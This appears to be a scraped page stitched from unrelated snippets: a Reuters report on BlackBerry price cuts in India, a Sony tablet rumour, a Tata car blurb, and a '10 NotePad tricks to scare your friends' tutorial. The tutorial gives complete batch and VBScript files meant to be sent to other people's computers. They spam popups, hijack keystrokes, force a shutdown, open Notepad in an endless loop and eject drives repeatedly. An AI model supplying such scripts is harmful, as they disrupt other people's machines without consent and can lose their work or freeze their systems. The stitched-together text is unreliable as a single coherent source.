BlackBerry to get cheaper in India

NEW DELHI (Reuters) - BlackBerry-maker Research In Motion has cut prices of some of its smartphone models in India by up to 27 percent, in a move to boost sales in the world's second-biggest mobile phone market.

India is one of the few growing markets for RIM, which is facing tough competition from Apple Inc (NasdaqGS:AAPL - NewsAAPL.O) and high-end devices on Google Inc's (NasdaqGS:GOOG - NewsGOOG.O) Android platform used by a range of handsetmakers, including Samsung Electronics (:005930.KS005930.KS).
RIM said on Wednesday it cut prices of four of its smartphone models, including the entry-level Curve 8520, which is its best-selling smartphone model in India.
Sunil Dutt, managing director for RIM's Indian operations, said the four models accounted for about 60 percent of the company's sales in India, where BlackBerry devices have gained popularity among the youth.
The price cuts are aimed at making the phones "more accessible to a wider number of consumers in the country", Dutt said in a phone interview.
RIM does not disclose country-specific shipment figures. India's CyberMedia Research estimates RIM ranked third last year with a 15 percent share of the country's smartphone market, trailing Nokia's (:NOK1V.HENOK1V.HE) 38 percent market share and Samsung's 28 percent.
Smartphones currently account for just over 6 percent of total handset sales in India, a market which is extremely price sensitive and most use their phones only for voice calls and text message. But the segment grew 87 percent last year to 11.2 million phones shipped, according to CyberMedia.
RIM cut the maximum retail price of the Curve 8520 model by 18 percent to 8,999 rupees and that of Torch 9860 model by 26.7 percent to 21,990 rupees. The other two models whose prices were cut are Curve 9360 and Curve 9380.

Sony Likely To Prepare A New Quad-Core Tablet

The currently available Sony tablets ship with NVIDIA Tegra 2 dual-core processors, but the next one is likely to come with a quad-core NVIDIA Tegra 3 CPU according to the Japanese web site Ameblo.


The folks at this certain Japanese web site claim to have spotted online benchmarks of an upcoming and yet unannounced Sony device called the Sony V150.


According to the available information and the online benchmarks the new Sony V150 device will come with a 1.4 GHz Tegra 3 processor and a display that sports 1280×752 pixel resolution. The V150 will run Android 4.0.3 and in the NenaMark graphics benchmark it gets nearly 60 frames per second.


Unfortunately there’s no information on the size, shape, or other features of the new V150. It’s not even clear if it’s an actual product or just a prototype someone is testing. But the NenaMark score could provide a clue as to what to expect from Sony’s next tablet.

10 Great NotePad Tricks To Scare Your Friends

Most of you must be aware about a tool called notepad. It is a simple text based editor. But today I am going to discuss some cool tricks which you can perform on your computer using notepad. 
 
You can also use these tricks to scare your friends.

Cycle a message in your friend’s computer.

Type :


@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN


Save it as pc.bat and send it to your friends.

Make Keyboard Keys Type Continuously:

Type :


MsgBox “stop me..! if you can”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop


Save it as pc.vbs and send it to your friends.

Convey your friend a message and shut down his/ her computer.

Type :


@echo off
msg * I don’t like you
shutdown -c “Hahahah You are Doomed” -s


Save it as pc.bat and send it to your friends.

Toggle your friend’s Caps Lock button simultaneously

Type :


Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop


Save it as pc.vbs and send it to your friends.

Frustrate your friend by making their keyboard hit Enter simultaneously whenever they press a key

Type :


Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop


Save it as pc.vbs and send it to your friends.

Hack your friend’s keyboard and make him type “You are a fool” simultaneously:

Type :


Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “You are a fool.”
loop


Save it as pc.vbs and send it to your friends.

Open Notepad, slowly type anythingand freak your friends out:

Type :


WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo “
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re “
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? “
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “


Save it as pc.vbs and send it to your friends.

Frustrate your friend by making their keyboard hit Backspace simultaneously whenever they press a key :

Type :


MsgBox “Let’s rock and roll”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop


Save it as pc.vbs and send it to your friends.

Open Notepad continuously in your friend’s computer:

Type :


@ECHO off
:top
START %SystemRoot%system32notepad.exe
GOTO top


Save it as pc.bat and send it.

Continuously pop out your friend’s CD or DVD Drive.

Type :


Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop


Save it as pc.vbs and send it to your friends.

Tata unveils Megapixel at the Geneva Motor Show

Combining a lithium ion phosphate battery and an on-board petrol engine generator for recharging on the move, the Tata Megapixel offers a range of up to 900 km (with a single tank of fuel), path-breaking CO2 emission of just 22 gm / km and fuel economy of 100 km / litre (under battery only power).